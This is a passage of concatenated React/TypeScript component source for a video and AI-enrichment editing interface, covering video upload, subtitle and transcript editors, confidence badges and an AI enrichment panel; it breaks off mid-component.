stays up until it settles, so post-upload work (persisting the\n   * URL, capturing + persisting the poster) finishes BEFORE the loading\n   * state clears. Without this, the modal can be closed mid-capture and the\n   * thumbnail is silently lost.\n   */\n  onMainVideoUrlChange: (url: string) => void | Promise<void>;\n  /** Callback to handle video upload - receives file and returns URL or throws error */\n  onUploadVideo: (file: File, onProgress?: (progress: number) => void) => Promise<string>;\n  /** Optional: Show AI generated badge on uploaded video */\n  showAIBadge?: boolean;\n  /** Optional: Whether the video was AI generated */\n  isAIGenerated?: boolean;\n  /** Optional: Custom label for YouTube section */\n  youtubeLabel?: string;\n  /** Optional: Custom label for upload section */\n  uploadLabel?: string;\n  /** Optional: Custom placeholder for YouTube URL input */\n  youtubePlaceholder?: string;\n  /** Optional: Custom helper text for YouTube section */\n  youtubeHelperText?: string;\n  /** Optional: Custom empty state text for upload section */\n  uploadEmptyText?: string;\n  /** Optional: Disable the component */\n  disabled?: boolean;\n  /** Optional: Custom video preview component */\n  VideoPreviewComponent?: React.ComponentType<{\n    videoUrl: string;\n    onDelete: () => void;\n    isAIGenerated?: boolean;\n  }>;\n  /** Optional: Upload progress bar component */\n  UploadProgressComponent?: React.ComponentType<{\n    progress: number;\n    message: string;\n    className?: string;\n  }>;\n  /** Optional: Section title */\n  title?: string;\n  /** Optional: Show section title */\n  showTitle?: boolean;\n  /** Optional: Additional class name */\n  className?: string;\n}\n\n/**\n * VideoSourceSelector - Unified component for selecting between YouTube URL and uploaded video\n *\n * This component provides a toggle between YouTube URL input and video upload,\n * without clearing data when switching between options.\n */\nexport function VideoSourceSelector({\n  videoSourceType,\n  onVideoSourceTypeChange,\n  youtubeUrl,\n  onYoutubeUrlChange,\n  mainVideoUrl,\n  onMainVideoUrlChange,\n  onUploadVideo,\n  showAIBadge = true,\n  isAIGenerated = false,\n  youtubeLabel = 'YouTube Video URL',\n  uploadLabel = 'Uploaded Video',\n  youtubePlaceholder = 'https://youtube.com/watch?v=...',\n  youtubeHelperText = 'YouTube videos will be embedded. AI processing is not available for YouTube links.',\n  uploadEmptyText = 'No video uploaded yet. Click \"Upload Video\" to add one.',\n  disabled = false,\n  VideoPreviewComponent,\n  UploadProgressComponent,\n  title = 'Video',\n  showTitle = true,\n  className = '',\n}: VideoSourceSelectorProps) {\n  const [isUploading, setIsUploading] = useState(false);\n  const [uploadProgress, setUploadProgress] = useState(0);\n  const [uploadMessage, setUploadMessage] = useState('');\n  const [uploadError, setUploadError] = useState<string | null>(null);\n\n  const handleUploadClick = useCallback(() => {\n    const input = document.createElement('input');\n    input.type = 'file';\n    input.accept = 'video/*';\n    input.onchange = async (e: Event) => {\n      const target = e.target as HTMLInputElement;\n      const file = target.files?.[0];\n      if (!file) return;\n\n      setIsUploading(true);\n      setUploadProgress(0);\n      setUploadMessage('Uploading video...');\n      setUploadError(null);\n\n      try {\n        const url = await onUploadVideo(file, (progress) => {\n          setUploadProgress(progress);\n        });\n        setUploadProgress(100);\n        setUploadMessage('Upload complete — selecting thumbnail...');\n        // Await the host's attach chain (persist URL -> capture poster ->\n        // persist poster). isUploading holds until it settles, so closing\n        // the modal can no longer race the 15-60s thumbnail capture.\n        await onMainVideoUrlChange(url);\n        setUploadMessage('Video attached!');\n      } catch (err) {\n        setUploadError(err instanceof Error ? err.message : 'Failed to upload video');\n      } finally {\n        setIsUploading(false);\n        setTimeout(() => {\n          setUploadProgress(0);\n          setUploadMessage('');\n        }, 1000);\n      }\n    };\n    input.click();\n  }, [onUploadVideo, onMainVideoUrlChange]);\n\n  const handleDeleteVideo = useCallback(() => {\n    onMainVideoUrlChange('');\n  }, [onMainVideoUrlChange]);\n\n  return (\n    <div className={`space-y-4 p-6 bg-ods-card border border-ods-border rounded-lg ${className}`}>\n      {/* Section Title */}\n      {showTitle && (\n        <h3 className=\"text-h5 text-ods-text-primary flex items-center gap-2\">\n          <VideoIcon className=\"h-5 w-5\" />\n          {title}\n        </h3>\n      )}\n\n      {/* Video Source Type Toggle */}\n      <div className=\"flex gap-2\">\n        <Button\n          type=\"button\"\n          variant={videoSourceType === 'youtube' ? 'accent' : 'outline'}\n          onClick={() => onVideoSourceTypeChange('youtube')}\n          leftIcon={<YouTubeIcon className=\"h-4 w-4\" color=\"currentColor\" />}\n          disabled={disabled}\n        >\n          YouTube URL\n        </Button>\n        <Button\n          type=\"button\"\n          variant={videoSourceType === 'uploaded' ? 'accent' : 'outline'}\n          onClick={() => onVideoSourceTypeChange('uploaded')}\n          leftIcon={<Upload className=\"h-4 w-4\" />}\n          disabled={disabled}\n        >\n          Upload Video\n        </Button>\n      </div>\n\n      {/* YouTube URL Input */}\n      {videoSourceType === 'youtube' && (\n        <div className=\"space-y-2\">\n          <Label>{youtubeLabel}</Label>\n          <Input\n            value={youtubeUrl}\n            onChange={(e) => onYoutubeUrlChange(e.target.value)}\n            placeholder={youtubePlaceholder}\n            className=\"bg-ods-bg\"\n            disabled={disabled}\n          />\n          {youtubeHelperText && (\n            <p className=\"text-h6 text-ods-text-secondary\">\n              {youtubeHelperText}\n            </p>\n          )}\n        </div>\n      )}\n\n      {/* Uploaded Video Section */}\n      {videoSourceType === 'uploaded' && (\n        <div>\n          <div className=\"flex items-center justify-between mb-2\">\n            <div className=\"flex items-center gap-2\">\n              <Label>{uploadLabel}</Label>\n              {showAIBadge && isAIGenerated && (\n                <AIGeneratedBadge />\n              )}\n            </div>\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"small-legacy\"\n              leftIcon={<Upload className=\"h-4 w-4\" />}\n              onClick={handleUploadClick}\n              disabled={disabled || isUploading}\n            >\n              Upload Video\n            </Button>\n          </div>\n\n          {/* Upload Progress */}\n          {isUploading && UploadProgressComponent && (\n            <UploadProgressComponent\n              progress={uploadProgress}\n              message={uploadMessage}\n              className=\"mb-3\"\n            />\n          )}\n\n          {/* Simple progress bar fallback if no custom component */}\n          {isUploading && !UploadProgressComponent && (\n            <div className=\"mb-3\">\n              <div className=\"flex items-center gap-2 mb-1\">\n                <div className=\"flex-1 h-2 bg-ods-border rounded-full overflow-hidden\">\n                  <div\n                    className=\"h-full bg-ods-accent transition-all duration-300\"\n                    style={{ width: `${uploadProgress}%` }}\n                  />\n                </div>\n                <span className=\"text-h6 text-ods-text-secondary\">{uploadProgress}%</span>\n              </div>\n              <p className=\"text-h6 text-ods-text-secondary\">{uploadMessage}</p>\n            </div>\n          )}\n\n          {/* Upload Error */}\n          {uploadError && (\n            <p className=\"text-h6 text-ods-error mb-3\">{uploadError}</p>\n          )}\n\n          {/* Video Preview */}\n          {mainVideoUrl ? (\n            VideoPreviewComponent ? (\n              <VideoPreviewComponent\n                videoUrl={mainVideoUrl}\n                onDelete={handleDeleteVideo}\n                isAIGenerated={isAIGenerated}\n              />\n            ) : (\n              <DefaultVideoPreview\n                videoUrl={mainVideoUrl}\n                onDelete={handleDeleteVideo}\n                disabled={disabled}\n              />\n            )\n          ) : (\n            <p className=\"text-h6 text-ods-text-secondary italic\">\n              {uploadEmptyText}\n            </p>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n\ninterface DefaultVideoPreviewProps {\n  /** Uploaded video URL — MP4 or Mux HLS manifest, both playable via <Video>. */\n  videoUrl: string;\n  onDelete: () => void;\n  disabled?: boolean;\n}\n\n/**\n * Default preview for {@link VideoSourceSelector} when no\n * `VideoPreviewComponent` is supplied. Renders through the `<Video>` SSOT\n * (MuxPlayer), which plays Mux HLS manifests directly on every browser —\n * no HLS→MP4 resolve step needed for playback.\n */\nfunction DefaultVideoPreview({ videoUrl, onDelete, disabled }: DefaultVideoPreviewProps) {\n  return (\n    <div className=\"relative rounded-lg border border-ods-border overflow-hidden\">\n      {/* aspect-video box: MuxPlayer fills its container (width/height 100%),\n          so the wrapper must reserve the height the intrinsic-sized native\n          <video> used to provide. */}\n      <div className=\"w-full aspect-video max-h-[300px]\">\n        <Video kind=\"file\" url={videoUrl} />\n      </div>\n      <button\n        type=\"button\"\n        onClick={onDelete}\n        aria-label=\"Delete video\"\n        className=\"absolute top-2 right-2 p-1.5 bg-black/60 hover:bg-black/80 rounded-full transition-colors\"\n        disabled={disabled}\n      >\n        <X className=\"h-4 w-4 text-ods-text-on-dark\" />\n      </button>\n    </div>\n  );\n}\n\nexport default VideoSourceSelector;\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport {\n  getConfidenceLevel,\n  getConfidenceLabel,\n  getConfidenceBorderClass,\n  getConfidenceTextClass,\n  getConfidenceBgClass,\n} from '../../../utils/confidence-helpers'\n\nexport interface ConfidenceBadgeProps {\n  confidence?: number\n  showLabel?: boolean\n  showPercentage?: boolean\n  size?: 'sm' | 'md' | 'lg'\n  className?: string\n}\n\nconst sizeStyles = {\n  sm: 'text-h6 px-1.5 py-0.5',\n  md: 'text-h6 px-2 py-1',\n  lg: 'text-h6 px-3 py-1.5',\n}\n\nexport const ConfidenceBadge: React.FC<ConfidenceBadgeProps> = ({\n  confidence,\n  showLabel = true,\n  showPercentage = true,\n  size = 'sm',\n  className,\n}) => {\n  const level = getConfidenceLevel(confidence)\n\n  if (level === 'none') {\n    return null\n  }\n\n  const label = getConfidenceLabel(confidence)\n  const borderClass = getConfidenceBorderClass(confidence)\n  const textClass = getConfidenceTextClass(confidence)\n  const bgClass = getConfidenceBgClass(confidence)\n\n  return (\n    <span\n      className={cn(\n        'inline-flex items-center gap-1 rounded-full border',\n        sizeStyles[size],\n        borderClass,\n        textClass,\n        bgClass,\n        className\n      )}\n    >\n      {showLabel && <span>{label}</span>}\n      {showPercentage && confidence !== undefined && (\n        <span className=\"opacity-75\">({confidence}%)</span>\n      )}\n    </span>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport { Label } from '../ui/label';\nimport { Textarea } from '../ui/textarea';\nimport { Badge } from '../ui/badge';\nimport { StandardCcIcon } from '../icons-v2-generated';\n\nexport interface SubtitlesEditorProps {\n  /** SRT subtitle content */\n  subtitles?: string;\n  /** Callback when subtitles change */\n  onSubtitlesChange?: (value: string) => void;\n  /** Custom label for subtitles field */\n  label?: string;\n  /** Custom helper text */\n  helperText?: string;\n  /** Custom placeholder */\n  placeholder?: string;\n  /** Minimum height for the textarea */\n  minHeight?: number;\n  /** Show the AI Generated badge next to the label (when content exists) */\n  isAIGenerated?: boolean;\n  /** Whether the field is disabled */\n  disabled?: boolean;\n  /** DOM id for the textarea/label pair (unique per instance on a page) */\n  id?: string;\n  /** Additional class name */\n  className?: string;\n}\n\n/**\n * SubtitlesEditor — THE single SRT-editing surface.\n *\n * Extracted from TranscriptSummaryEditor so the MAIN video's subtitles\n * (srt_content) and the HIGHLIGHT reel's subtitles (highlight_srt_content)\n * render through the exact same component: same textarea, same AI badge,\n * same helper-text layout. Renders nothing when neither content nor a\n * change handler is provided (same convention the inline block had).\n */\nexport function SubtitlesEditor({\n  subtitles,\n  onSubtitlesChange,\n  label = 'Subtitles (SRT)',\n  helperText = 'SRT subtitle content generated from transcription. Editable for fine-tuning.',\n  placeholder = '1\\n00:00:00,000 --> 00:00:02,500\\nHello, welcome to...',\n  minHeight = 200,\n  isAIGenerated = false,\n  disabled = false,\n  id = 'subtitles',\n  className = '',\n}: SubtitlesEditorProps) {\n  if (!subtitles && !onSubtitlesChange) return null;\n\n  return (\n    <div className={className}>\n      <div className=\"mb-2\">\n        <div className=\"flex items-center gap-2\">\n          <Label htmlFor={id}>{label}</Label>\n          {isAIGenerated && subtitles && (\n            <Badge variant=\"secondary\" className=\"flex items-center gap-1\">\n              <StandardCcIcon size={12} />\n              AI Generated\n            </Badge>\n          )}\n        </div>\n        <p className=\"text-h6 text-ods-text-secondary mt-1\">{helperText}</p>\n      </div>\n      <div\n        className=\"rounded-lg border border-ods-border bg-ods-card overflow-hidden\"\n        style={{ minHeight: `${minHeight}px` }}\n      >\n        <Textarea\n          id={id}\n          value={subtitles || ''}\n          onChange={(e) => onSubtitlesChange?.(e.target.value)}\n          placeholder={placeholder}\n          disabled={disabled || !onSubtitlesChange}\n          className=\"h-full w-full resize-none border-0 bg-transparent text-ods-text-primary placeholder:text-ods-text-secondary/50 focus:ring-0 focus:outline-none p-4 text-code\"\n          style={{ minHeight: `${minHeight}px`, lineHeight: '1.6' }}\n        />\n      </div>\n    </div>\n  );\n}\n\nexport default SubtitlesEditor;\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { Label } from '../ui/label';\nimport { Textarea } from '../ui/textarea';\nimport { ConfidenceBadge } from './ai-enrich/ConfidenceBadge';\nimport { SubtitlesEditor } from './subtitles-editor';\n\nexport interface TranscriptSummaryEditorProps {\n  /** Video summary text value - AI-generated from video transcription (defaults to empty string if undefined) */\n  videoSummary?: string;\n  /** Callback when video summary changes */\n  onVideoSummaryChange: (value: string) => void;\n  /** Transcript text value (defaults to empty string if undefined) */\n  transcript?: string;\n  /** Callback when transcript changes */\n  onTranscriptChange: (value: string) => void;\n  /** Whether content was AI generated */\n  isAIGenerated?: boolean;\n  /** Confidence score for video summary (0-100) */\n  videoSummaryConfidence?: number | null;\n  /** Confidence score for transcript (0-100) */\n  transcriptConfidence?: number | null;\n  /** Custom label for video summary field */\n  videoSummaryLabel?: string;\n  /** Custom helper text for video summary */\n  videoSummaryHelperText?: string;\n  /** Custom placeholder for video summary */\n  videoSummaryPlaceholder?: string;\n  /** Custom label for transcript field */\n  transcriptLabel?: string;\n  /** Custom helper text for transcript */\n  transcriptHelperText?: string;\n  /** Custom placeholder for transcript */\n  transcriptPlaceholder?: string;\n  /** Minimum height for video summary textarea */\n  videoSummaryMinHeight?: number;\n  /** Minimum height for transcript textarea */\n  transcriptMinHeight?: number;\n  /** SRT subtitle content */\n  subtitles?: string;\n  /** Callback when subtitles change */\n  onSubtitlesChange?: (value: string) => void;\n  /** Custom label for subtitles field */\n  subtitlesLabel?: string;\n  /** Custom helper text for subtitles */\n  subtitlesHelperText?: string;\n  /** Custom placeholder for subtitles */\n  subtitlesPlaceholder?: string;\n  /** Minimum height for subtitles textarea */\n  subtitlesMinHeight?: number;\n  /** Whether the fields are disabled */\n  disabled?: boolean;\n  /** Additional class name for the container */\n  className?: string;\n}\n\n/**\n * TranscriptSummaryEditor - Unified component for editing transcript and summary with AI badges\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities,\n * showing AI generation badges and confidence scores when applicable.\n */\nexport function TranscriptSummaryEditor({\n  videoSummary = '',\n  onVideoSummaryChange,\n  transcript = '',\n  onTranscriptChange,\n  isAIGenerated = false,\n  videoSummaryConfidence,\n  transcriptConfidence,\n  videoSummaryLabel = 'Video Summary (Markdown supported)',\n  videoSummaryHelperText = 'AI-generated summary from video content.',\n  videoSummaryPlaceholder = 'Brief summary of the video content...',\n  transcriptLabel = 'Transcript',\n  transcriptHelperText = 'Full transcript with speaker diarization and timestamps',\n  transcriptPlaceholder = '**[00:00] Speaker Name:** Text here...',\n  videoSummaryMinHeight = 200,\n  transcriptMinHeight = 300,\n  subtitles,\n  onSubtitlesChange,\n  subtitlesLabel = 'Subtitles (SRT)',\n  subtitlesHelperText = 'SRT subtitle content generated from transcription. Editable for fine-tuning.',\n  subtitlesPlaceholder = '1\\n00:00:00,000 --> 00:00:02,500\\nHello, welcome to...',\n  subtitlesMinHeight = 200,\n  disabled = false,\n  className = '',\n}: TranscriptSummaryEditorProps) {\n  return (\n    <div className={`space-y-4 ${className}`}>\n      {/* Video Summary Editor */}\n      <div>\n        <div className=\"mb-2\">\n          <div className=\"flex items-center gap-2\">\n            <Label htmlFor=\"video-summary\">{videoSummaryLabel}</Label>\n            {isAIGenerated && (\n              <AIGeneratedBadge />\n            )}\n            {videoSummaryConfidence !== undefined && videoSummaryConfidence !== null && (\n              <ConfidenceBadge\n                confidence={videoSummaryConfidence}\n                showLabel={true}\n                showPercentage={true}\n                size=\"sm\"\n              />\n            )}\n          </div>\n          <p className=\"text-h6 text-ods-text-secondary mt-1\">{videoSummaryHelperText}</p>\n        </div>\n        <div\n          className=\"rounded-lg border border-ods-border bg-ods-card overflow-hidden\"\n          style={{ minHeight: `${videoSummaryMinHeight}px` }}\n        >\n          <Textarea\n            id=\"video-summary\"\n            value={videoSummary}\n            onChange={(e) => onVideoSummaryChange(e.target.value)}\n            placeholder={videoSummaryPlaceholder}\n            disabled={disabled}\n            className=\"h-full w-full resize-none border-0 bg-transparent text-ods-text-primary placeholder:text-ods-text-secondary/50 focus:ring-0 focus:outline-none p-4 text-code\"\n            style={{ minHeight: `${videoSummaryMinHeight}px`, lineHeight: '1.6' }}\n          />\n        </div>\n      </div>\n\n      {/* Transcript Editor */}\n      <div>\n        <div className=\"mb-2\">\n          <div className=\"flex items-center gap-2\">\n            <Label htmlFor=\"transcript\">{transcriptLabel}</Label>\n            {isAIGenerated && (\n              <AIGeneratedBadge />\n            )}\n            {transcriptConfidence !== undefined && transcriptConfidence !== null && (\n              <ConfidenceBadge\n                confidence={transcriptConfidence}\n                showLabel={true}\n                showPercentage={true}\n                size=\"sm\"\n              />\n            )}\n          </div>\n          <p className=\"text-h6 text-ods-text-secondary mt-1\">{transcriptHelperText}</p>\n        </div>\n        <div\n          className=\"rounded-lg border border-ods-border bg-ods-card overflow-hidden\"\n          style={{ minHeight: `${transcriptMinHeight}px` }}\n        >\n          <Textarea\n            id=\"transcript\"\n            value={transcript}\n            onChange={(e) => onTranscriptChange(e.target.value)}\n            placeholder={transcriptPlaceholder}\n            disabled={disabled}\n            className=\"h-full w-full resize-none border-0 bg-transparent text-ods-text-primary placeholder:text-ods-text-secondary/50 focus:ring-0 focus:outline-none p-4 text-code\"\n            style={{ minHeight: `${transcriptMinHeight}px`, lineHeight: '1.6' }}\n          />\n        </div>\n      </div>\n\n      {/* Subtitles Editor — the shared SubtitlesEditor SSOT (same component\n          the highlight section uses for highlight_srt_content). */}\n      <SubtitlesEditor\n        id=\"subtitles\"\n        subtitles={subtitles}\n        onSubtitlesChange={onSubtitlesChange}\n        label={subtitlesLabel}\n        helperText={subtitlesHelperText}\n        placeholder={subtitlesPlaceholder}\n        minHeight={subtitlesMinHeight}\n        isAIGenerated={isAIGenerated}\n        disabled={disabled}\n      />\n    </div>\n  );\n}\n\nexport default TranscriptSummaryEditor;\n","\"use client\";\n\nimport React, { useState } from 'react';\nimport { Sparkles, Upload } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { Label } from '../ui/label';\nimport { Button } from '../ui/button';\nimport { Badge } from '../ui/badge';\nimport { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../ui/select';\nimport { AIEnrichSection } from './ai-enrich/AIEnrichSection';\nimport type { AIRequiredField } from './ai-enrich/AIEnrichSection';\nimport { Video } from './video';\n\nexport interface HighlightVideoSectionProps {\n  /** Current highlight video URL */\n  highlightVideoUrl?: string | null;\n  /** Highlight video thumbnail URL */\n  highlightVideoThumbnail?: string | null;\n  /** Highlight video duration in milliseconds */\n  highlightVideoDurationMs?: number | null;\n  /** Highlight video source type */\n  highlightVideoSource?: 'manual' | 'ai_generated' | null;\n  /** Target duration in seconds for AI generation */\n  targetDurationSeconds: number;\n  /** Callback when target duration changes */\n  onTargetDurationChange: (seconds: number) => void;\n  /** Callback to trigger highlight generation */\n  onGenerateHighlight: () => void;\n  /** Whether highlight generation is in progress */\n  isGenerating?: boolean;\n  /** Progress percentage for generation (0-100) */\n  generationProgress?: number;\n  /** Status message during generation */\n  generationStatusMessage?: string;\n  /** Generation status (cancelled maps to error) */\n  generationStatus?: 'idle' | 'loading' | 'success' | 'error';\n  /** Whether highlight can be generated */\n  canGenerateHighlight?: boolean;\n  /** Required fields for generation */\n  requiredFields?: AIRequiredField[];\n  /** Message when generation is disabled */\n  disabledMessage?: string;\n  /** Whether a previous highlight exists */\n  hasExistingHighlight?: boolean;\n  /** Callback to cancel generation */\n  onCancelGeneration?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Callback to upload highlight video manually */\n  onUploadHighlight: (file: File) => Promise<string>;\n  /** Whether upload is in progress */\n  isUploading?: boolean;\n  /** Callback when highlight video is deleted */\n  onDeleteHighlight?: () => void;\n  /** Custom video preview component */\n  VideoPreviewComponent?: React.ComponentType<{\n    videoUrl: string;\n    thumbnailUrl?: string;\n    onDelete?: () => void;\n  }>;\n  /** Whether section is disabled (e.g., YouTube selected) */\n  disabled?: boolean;\n  /** Additional class name */\n  className?: string;\n}\n\n/**\n * HighlightVideoSection - Unified component for highlight video generation and management\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities,\n * including duration configuration, AI generation trigger, manual upload, and video preview.\n */\nexport function HighlightVideoSection({\n  highlightVideoUrl,\n  highlightVideoThumbnail,\n  highlightVideoDurationMs,\n  highlightVideoSource,\n  targetDurationSeconds,\n  onTargetDurationChange,\n  onGenerateHighlight,\n  isGenerating = false,\n  generationProgress,\n  generationStatusMessage,\n  generationStatus,\n  canGenerateHighlight = true,\n  requiredFields = [],\n  disabledMessage = 'Upload a video and run transcription first',\n  hasExistingHighlight = false,\n  onCancelGeneration,\n  isCancelling = false,\n  onUploadHighlight,\n  isUploading = false,\n  onDeleteHighlight,\n  VideoPreviewComponent,\n  disabled = false,\n  className = '',\n}: HighlightVideoSectionProps) {\n  const [uploadError, setUploadError] = useState<string | null>(null);\n\n  const handleUploadClick = () => {\n    const input = document.createElement('input');\n    input.type = 'file';\n    input.accept = 'video/*';\n    input.onchange = async (e: Event) => {\n      const target = e.target as HTMLInputElement;\n      const file = target.files?.[0];\n      if (!file) return;\n\n      setUploadError(null);\n      try {\n        await onUploadHighlight(file);\n      } catch (err) {\n        setUploadError(err instanceof Error ? err.message : 'Failed to upload video');\n      }\n    };\n    input.click();\n  };\n\n  const formatDuration = (ms: number) => {\n    const minutes = Math.floor(ms / 60000);\n    const seconds = Math.floor((ms % 60000) / 1000);\n    return `${minutes}:${String(seconds).padStart(2, '0')}`;\n  };\n\n  return (\n    <div className={`space-y-4 ${className}`}>\n      {/* Highlight Video Configuration */}\n      <div className=\"space-y-3 p-4 bg-ods-card rounded-lg border border-ods-border\">\n        <div className=\"flex items-center gap-4\">\n          <div className=\"flex-1\">\n            <Label>Target Duration</Label>\n            <Select\n              value={targetDurationSeconds.toString()}\n              onValueChange={(value) => onTargetDurationChange(parseInt(value))}\n              disabled={disabled}\n            >\n              <SelectTrigger className=\"bg-ods-bg-surface mt-1\">\n                <SelectValue />\n              </SelectTrigger>\n              <SelectContent className=\"bg-ods-card\">\n                <SelectItem value=\"60\">1 minute</SelectItem>\n                <SelectItem value=\"120\">2 minutes</SelectItem>\n                <SelectItem value=\"180\">3 minutes (Recommended)</SelectItem>\n                <SelectItem value=\"240\">4 minutes</SelectItem>\n                <SelectItem value=\"300\">5 minutes</SelectItem>\n              </SelectContent>\n            </Select>\n          </div>\n        </div>\n      </div>\n\n      {/* AI Generation Section */}\n      <AIEnrichSection\n        title=\"Highlight Video\"\n        description={`Generate a ${Math.floor(targetDurationSeconds / 60)}-minute summary video using Claude AI + Shotstack`}\n        icon={<Sparkles className=\"h-5 w-5\" />}\n        buttonLabel={hasExistingHighlight ? \"Regenerate Highlight\" : \"Generate Highlight\"}\n        loadingLabel=\"Generating highlight...\"\n        onEnrich={onGenerateHighlight}\n        loading={isGenerating}\n        canEnrich={canGenerateHighlight && !disabled}\n        requiredFields={requiredFields}\n        status={generationStatus}\n        statusMessage={\n          generationStatusMessage ?\n            (generationProgress && generationProgress > 0 ? `${generationStatusMessage} (${generationProgress}%)` : generationStatusMessage) :\n          undefined\n        }\n        disabledMessage={disabled ? \"Switch to 'Upload Video' to enable AI processing\" : disabledMessage}\n        showCancel={!!onCancelGeneration}\n        onCancel={onCancelGeneration}\n        isCancelling={isCancelling}\n      />\n\n      {/* Highlight Video Preview + Manual Upload */}\n      <div className=\"space-y-2\">\n        <div className=\"flex items-center justify-between mb-2\">\n          <div className=\"flex items-center gap-2\">\n            <Label>Highlight Video</Label>\n            {highlightVideoSource === 'ai_generated' && (\n              <AIGeneratedBadge />\n            )}\n            {highlightVideoDurationMs && (\n              <Badge variant=\"outline\" className=\"text-h6\">\n                {formatDuration(highlightVideoDurationMs)}\n              </Badge>\n            )}\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"small-legacy\"\n            leftIcon={<Upload className=\"h-4 w-4\" />}\n            onClick={handleUploadClick}\n            disabled={isUploading || disabled}\n          >\n            {isUploading ? 'Uploading...' : 'Upload Highlight'}\n          </Button>\n        </div>\n\n        {uploadError && (\n          <p className=\"text-h6 text-ods-error\">{uploadError}</p>\n        )}\n\n        {highlightVideoUrl ? (\n          VideoPreviewComponent ? (\n            <VideoPreviewComponent\n              videoUrl={highlightVideoUrl}\n              thumbnailUrl={highlightVideoThumbnail || undefined}\n              onDelete={onDeleteHighlight}\n            />\n          ) : (\n            // Default simple preview — the <Video> SSOT (MuxPlayer) plays\n            // MP4 and Mux HLS alike; aspect-video box reserves the height.\n            <div className=\"relative rounded-lg border border-ods-border overflow-hidden bg-black\">\n              <div className=\"w-full aspect-video max-h-[300px]\">\n                <Video\n                  kind=\"file\"\n                  url={highlightVideoUrl}\n                  poster={highlightVideoThumbnail || undefined}\n                />\n              </div>\n              {onDeleteHighlight && (\n                <button\n                  type=\"button\"\n                  onClick={onDeleteHighlight}\n                  className=\"absolute top-2 right-2 p-1.5 bg-black/60 hover:bg-black/80 rounded-full transition-colors\"\n                >\n                  <span className=\"sr-only\">Delete</span>\n                  <svg className=\"h-4 w-4 text-ods-text-on-dark\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\">\n                    <path strokeLinecap=\"round\" strokeLinejoin=\"round\" strokeWidth={2} d=\"M6 18L18 6M6 6l12 12\" />\n                  </svg>\n                </button>\n              )}\n            </div>\n          )\n        ) : (\n          <p className=\"text-h6 text-ods-text-secondary italic\">\n            No highlight video yet. Use AI generation above or upload manually.\n          </p>\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport default HighlightVideoSection;\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { SparklesIcon } from '../../icons/sparkles-icon'\nimport { AIEnrichButton } from './AIEnrichButton'\nimport { AIWarningsSection } from './AIWarningsSection'\nimport { Button } from '../../ui/button'\nimport { Badge } from '../../ui/badge'\nimport { Textarea } from '../../ui/textarea'\nimport { CheckCircle, AlertCircle, Loader2, X } from 'lucide-react'\n\nexport interface ConfidenceField {\n  label: string\n  key: string\n  confidence?: number\n}\n\n/**\n * Represents a field required for AI enrichment.\n * Used to drive both the canEnrich logic and display of AI-required badges.\n */\nexport interface AIRequiredField {\n  /** Form field key (e.g., 'version', 'email') */\n  key: string\n  /** Display label (e.g., 'Version', 'Email') */\n  label: string\n  /** Current state - is field filled? */\n  isFilled: boolean\n}\n\nexport interface AIEnrichSectionProps {\n  // Button state\n  onEnrich: () => void\n  loading?: boolean\n  disabled?: boolean\n  canEnrich?: boolean\n\n  // Status\n  status?: 'idle' | 'loading' | 'success' | 'error'\n  statusMessage?: string\n  overallConfidence?: number\n\n  // Warnings\n  warnings?: string[]\n\n  // Confidence fields to display (optional - shown as simple list)\n  confidenceFields?: ConfidenceField[]\n\n  // Required fields for AI enrichment - displays missing fields when disabled\n  requiredFields?: AIRequiredField[]\n\n  // Custom content (like created tags info)\n  children?: React.ReactNode\n  /**\n   * Settings panel rendered INSIDE the card, between the header and the action\n   * button (same slot the custom-instructions block occupies). Combined\n   * sections (clips, highlight) pass their config here so it sits under the\n   * title that names it — rendered ABOVE the card, a config panel reads as\n   * belonging to whatever section happens to precede it.\n   */\n  configSlot?: React.ReactNode\n\n  // Actions\n  onClear?: () => void\n  showClearButton?: boolean\n  onCancel?: () => void\n  showCancel?: boolean\n  isCancelling?: boolean\n\n  // Labels\n  title?: string\n  description?: string\n  buttonLabel?: string\n  loadingLabel?: string\n  disabledMessage?: string\n\n  // Styling\n  variant?: 'default' | 'compact'\n  className?: string\n  icon?: React.ReactNode\n\n  // Editor-provided custom instructions textarea (opt-in).\n  // When showCustomInstructions is true, a controlled <Textarea> is rendered\n  // above the action button. The parent owns the string — purely controlled.\n  // The same value is sent to the backend and injected into the Claude prompt\n  // via lib/utils/ai-instructions.ts → buildEditorFocusBlock().\n  showCustomInstructions?: boolean\n  customInstructions?: string\n  onCustomInstructionsChange?: (value: string) => void\n  customInstructionsLabel?: string\n  customInstructionsPlaceholder?: string\n  customInstructionsHelperText?: string\n  customInstructionsMaxLength?: number\n}\n\nexport const AIEnrichSection: React.FC<AIEnrichSectionProps> = ({\n  onEnrich,\n  loading = false,\n  disabled = false,\n  canEnrich = true,\n  status,\n  statusMessage,\n  overallConfidence,\n  warnings,\n  confidenceFields,\n  requiredFields,\n  children,\n  configSlot,\n  onClear,\n  showClearButton = true,\n  onCancel,\n  showCancel = false,\n  isCancelling = false,\n  title = 'AI Enrichment',\n  description,\n  buttonLabel = 'AI Enrich',\n  loadingLabel = 'Enriching...',\n  disabledMessage = 'Fill in required fields to enable AI enrichment.',\n  variant = 'default',\n  className,\n  icon,\n  showCustomInstructions = false,\n  customInstructions,\n  onCustomInstructionsChange,\n  customInstructionsLabel = 'Focus / additional instructions',\n  customInstructionsPlaceholder = \"Optional — steer the AI. e.g. 'Lead with the new SSO + audit log features; downplay the minor UI tweaks.'\",\n  customInstructionsHelperText,\n  customInstructionsMaxLength = 5000,\n}) => {\n  const hasResults = status === 'success' || status === 'error'\n  const shouldDisable = disabled || !canEnrich\n\n  // Get list of unfilled required fields for display\n  const unfilledFields = requiredFields?.filter(f => !f.isFilled) || []\n\n  return (\n    <div\n      className={cn(\n        'rounded-lg 